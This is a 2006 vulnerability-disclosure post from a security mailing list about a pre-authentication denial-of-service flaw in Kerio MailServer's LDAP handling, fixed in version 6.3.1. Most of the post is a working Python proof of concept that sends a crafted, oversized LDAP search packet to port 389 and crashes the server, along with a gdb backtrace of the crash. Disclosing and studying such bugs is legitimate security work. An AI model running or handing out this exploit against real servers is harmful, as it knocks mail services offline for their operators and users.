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Kerio MailServer < 6.3.1 remote Denial of Service
From: research () gleg net
Date: Fri, 15 Dec 2006 00:09:09 +0300

Hi,

Kerio MailServer 6.3.1 changelog mentions the following bug fix:
'Fixed possible service stop when handling certain LDAP query'

It turns out that vd_kms6 vulnerability (which is a part of VulnDisco since Oct,
2006) has been fixed.

Below is a simple proof of concept code for this bug:

#!/usr/bin/env python
# kms1.py - Kerio MailServer 6.2.2 preauth remote DoS
# fixed in Kerio MailServer 6.3.1
#
# Copyright (c) 2006 Evgeny Legerov
#
# Permission to use, copy, modify, and distribute this software for any
# purpose with or without fee is hereby granted, provided that the above
# copyright notice and this permission notice appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.


"""
gdb backtrace:
# gdb -q ./mailserver core.18450
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
Reading symbols from shared object read from target memory...(no debugging
symbols found)...done.
Loaded system supplied DSO at 0xb76000
Core was generated by `/opt/kerio/mailserver/mailserver /opt/kerio/mailserver'.
Program terminated with signal 11, Segmentation fault.
...
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x0821c444 in LDAPSearchRequest::parsePagedResults ()
(gdb) bt
#0  0x0821c444 in LDAPSearchRequest::parsePagedResults ()
#1  0x0821c387 in LDAPSearchRequest::setAll ()
#2  0x08093d8a in Ber::getSearchRequest ()
#3  0x08205e48 in LDAPServer::search ()
#4  0x08207de0 in LDAPServer::server ()
#5  0x08207e2e in ldap_handler ()
#6  0x0841be13 in KServerTask::handler ()
#7  0x082033c6 in KThreadPool::workerThread ()
#8  0x086ee7b6 in kerio::tiny::thread ()
#9  0x00772b80 in start_thread () from /lib/libpthread.so.0
#10 0x00558dee in clone () from /lib/libc.so.6
(gdb) x/i $eip
0x821c444 <_ZN17LDAPSearchRequest17parsePagedResultsE13LDAPExtension+12>:      
mov    (%eax),%edx
(gdb) i r eax
eax            0x449    1097
"""

from socket import *

host = "localhost"
port = 389

s =  "\x30\x82\x04\x4d\x02\x01\x26\x63\x82\x04\x46\x04\x00\x0a\x01\x02"
s += "\x0a\x01\x00\x02\x01\x00\x02\x01\x00\x01\x01\x00\x87\x0b\x6f\x62"
s += "\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x30\x02\x04\x00\xa0\x82\x04"
s += "\x20\x30\x82\x04\x1c"
s += "\x01"*1024
s += "\x16\x31\x2e\x32\x2e\x38\x34\x30\x2e\x31\x31"
s += "\x33\x35\x35\x36\x2e\x31\x2e\x34\x2e\x34\x37\x33\x01\x01\x00\x04"
s += "\x00"

sock = socket(AF_INET, SOCK_STREAM)
sock.connect((host,port))
sock.sendall(s)
sock.recv(10000)
sock.close()

Regards,
-Evgeny



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